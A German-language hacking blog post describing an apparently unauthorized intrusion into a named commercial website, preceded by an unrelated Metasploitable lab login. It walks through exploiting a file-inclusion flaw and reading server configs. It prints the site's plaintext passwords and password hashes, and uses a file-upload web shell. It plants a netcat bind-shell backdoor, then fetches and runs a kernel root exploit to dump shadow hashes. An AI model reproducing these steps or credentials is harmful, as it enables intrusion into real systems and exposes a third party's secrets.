RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.34' (RSA) to the list of known hosts.
msfadmin@192.168.1.34's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Sat Mar 19 12:56:05 2011 from 192.168.1.58
msfadmin@metasploitable:~$ sudo -i
[sudo] password for msfadmin:
root@metasploitable:~# whoami
root
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)

Klicke, um auf users_guide.pdf zuzugreifen

r00ting de-online.com

Posted in r00ting on Januar 12, 2012 by peak

Hier auf SecuNet wurde eine „LFI“ geposted: [url]http://secunet.to/showthread.php?t=1489[/url]

Nett dann kann ich ja wiedereinmal seit einer Weile meinen neuen VPN anwerfen 🙂 … (greets to mr.nice)

[url]http://anonym.to/?http://www.de-online.info/shop/zeitschriften/index.php?Page=%5B/url%5D
-> credits to Teke

[ok] /etc/passwd //funktioniert soweit gut
[nef] /proc/self/environ //ok kan ndamit leben dann halt vllt RCE mit file upload?

website überflogen … nix . // ok dann wohl eher nicht … -.-

hmmm, mit was hab ichs überhaupt zu tun? //nmap und bissl rumgeklicke (headers und so)
Apache/2.0.63 (UNIX/Red Hat) PHP/4.3.11
ProFTP 1.3.3e -> 21
OpenSSH 5.3 ->22
MySQL ->3306
rpcbind -> 111

okaaaay .. (was war schon wieder rpc …Oo? )
[QUOTE=Wikipedia] … durch Sun Microsystems für das Network File System (NFS) entwickelt …[/QUOTE]
[QUOTE=Wikipedia] … NFS heißt unter Windows- und OS/2-Umgebungen Server Message Block (SMB) …[/QUOTE]
achsooo à la samba und son zeug. bon.

Wo war ich? achja .. mal Standard config Pfade checken von Apache um ein bisschen in den Logs zu stöbern
-> RTFM: [url]http://anonym.to/?http://wiki.apache.org/httpd/DistrosDefaultLayout%5B/url%5D
[QUOTE=ApacheWiki]…
Primary Config Fle :: /etc/httpd/conf/httpd.conf
DocumentRoot :: /var/www/html
ErrorLog :: /var/log/httpd/error_log
AccessLog :: /var/log/httpd/access_log
…[/QUOTE]

[+] /var/log/httpd/access_log //yee war ja einfach, schon gefunden. nur noch kurz php code injecten

telnet 195.30.242.210 80
GET/

[+] /var/log/httpd/access_log&x=ls -l //dann lass mal sehen ..

hmm wo ist es …? … ctrl+u .. mal suchen…
WTF
[QUOTE]blablabla GET/ [I][COLOR=“Plum“][/COLOR][/I] blablabla[/QUOTE]

Der PHP Code wurde nicht interpretiert. Voll die Verarschung! [B][U]Verdammte Scheisse, Teke!! das ist nur ReadFile() !!![/U][/B]
(oder file_get_contents)
zur Erklärung:
[QUOTE=PHP.net]Liest den Inhalt einer Datei und schreibt ihn in den Ausgabepuffer.[/QUOTE]
Hier wird nur die Datei ausgegeben und kein Code ausgeführt!

Nun gut. Immerhin kann ich mir die PHP Sources anschauen.
Logisch ne? Und was verbirgt sich dort? Geeenau MySQL Logins.
Schliesslich ist ja der Port offen wie man vorher gesehen hat. Oder noch besser und (php)myadmin ist installiert!! Also weiter ….

[+] /etc/httpd/conf/httpd.conf // ok ich sehe paar Seiten, paar vhost.con
[+] /etc/xmlconfig/includes/httpd/vhost.conf
[+] /etc/xmlconfig/includes/httpd/sophieacct.conf
[QUOTE=soEinConfigFile]…
AuthUserFile /usr/share/spacenet/tools/sophieacct/adm.passwd
AuthName SophieAcct
…[/QUOTE]
aha …
[+] /usr/share/spacenet/tools/sophieacct/adm.passwd
[+] /home/conf/awstats.pwd
[QUOTE]gast:$1$NkK1D0mO$0RE5YJzBTmN5/G0VVkW471
adm:lqT3pXHH9tEIg[/QUOTE]

wofür sind diese Accountsblos .. md5(unix) und evt. htaccess?
hmm sowieso nur gast also ziemlich egal … mal weiter schauen …

[QUOTE]DocumentRoot /home/www/html-data/www.de-online.info[/QUOTE]
ok wir haben denn Pfad zu den PHP Dateien.
[QUOTE]/home/www/html-data/www.de-online.info/shop/index.php[/QUOTE]
Also mal PHP Source bissl überfliegen:
[QUOTE]$loginpassword = file_get_contents(‚/home/www/etc/uppasswd‘);[/QUOTE]
[QUOTE=/home/www/etc/uppasswd]root:qui1Dob[/QUOTE]
na bitte 🙂
Nebenbei bin ich noch auf folgendes gestossen:
[QUOTE=/etc/adm.passwd]adm:lqT3pXHH9tEIg[/QUOTE]

Es müsste ein Adminpanel geben! hmm leider finde ich es nicht ?! Ist eigentlich auch klar da ich nur zwischen den „verlinkten“ php Files hin und her springe…
ok mom … Google!

[QUOTE=admin site:de-online.info]/home/www/html-data/www.de-online.info/fachthemen/admin.php[/url][/QUOTE]

Ah ein FileUpload!! Das ist ja noch viel bequemer als mit MySQL:
voilà [url]http://anonym.to/?http://www.de-online.info/cgi.php%5B/url%5D

uname -a:
[QUOTE]Linux [url]http://anonym.to/?www.pflaum.de[/url] [COLOR=“Lime“]2.4.34[/COLOR]-space.2smp #1 SMP Thu Jan 11 16:53:24 CET 2007 i686[/QUOTE]

Ein weitere Blick in die passwd und generell auf dem System
[QUOTE]root:x:0:0:root:/root:/bin/bash
adm:x:10000:10000:Webmaster Account:/home:/bin/bash
mysql:x:27:27:MySQL Server:/home/mysql:/bin/bash
amandabackup:x:33:6:Amanda user:/var/lib/amanda:/bin/bash[/quote]
Diese User interessieren mich.

Weiter, was läuft auf dem Server? netstat -an //nix besonderes was wir nicht schon wissen

Hoppla
[Quote]/tmp/mocks[/quote]
Mocks ist ein SOCKS Server wie er auch in proxifier verwendet werden kann. Da war wohl schon jemand aktiv?
Allerdings läuft er (nicht) mehr sonst hätte man ihn mit netstat gesehen.

Ok jetzt erstmal einen Backdoor einrichten. Geht mit der PHP Shell die ich verwende mit einem klick 😀 aber sonst wäre es auch so möglich:
nc -l -p 31337 -e /bin/bash
(Eine Reverse Shell ist nicht nötig da sich der Server nicht hinter einer Firewall versteckt.)

Suchen wir uns nun also einen Root Exploit:

wget [url]http://exploit-db.com/sploits/2009-linux-sendpage3.tar.gz[/url]
tar -xvf 2009-linux-sendpage3.tar.gz
gcc -o w00t sploit.c
chmod 777 w00t
./w00t
(*§°§2¬§@°§¬@§¬{[§]|
whoami
[QUOTE][COLOR=“Red“][COLOR=“DarkRed“]root[/COLOR][/COLOR][/QUOTE]
sure?
[QUOTE]yes I’m sure, congratz[/QUOTE]
ok show me shadow then
[Quote]sure highness, all my base belongs to you[/Quote]
[Quote]root:$1$gkjNl7c/$rcMaxsCkp9Pn/NTOFSgEO0:15263:0:99999:7:::
adm:$1$FaomvEND$JafL0DwOQWtaCyfgHB7LK0:12202:0:99999:7:::[/Quote]

————-

Sooo inzwischen hat der Admin Einfluss genommen.
Mir hat es Spass gemacht und ich hoffe ihr konntet etwas lernen. Ich hab auch was gelernt 🙂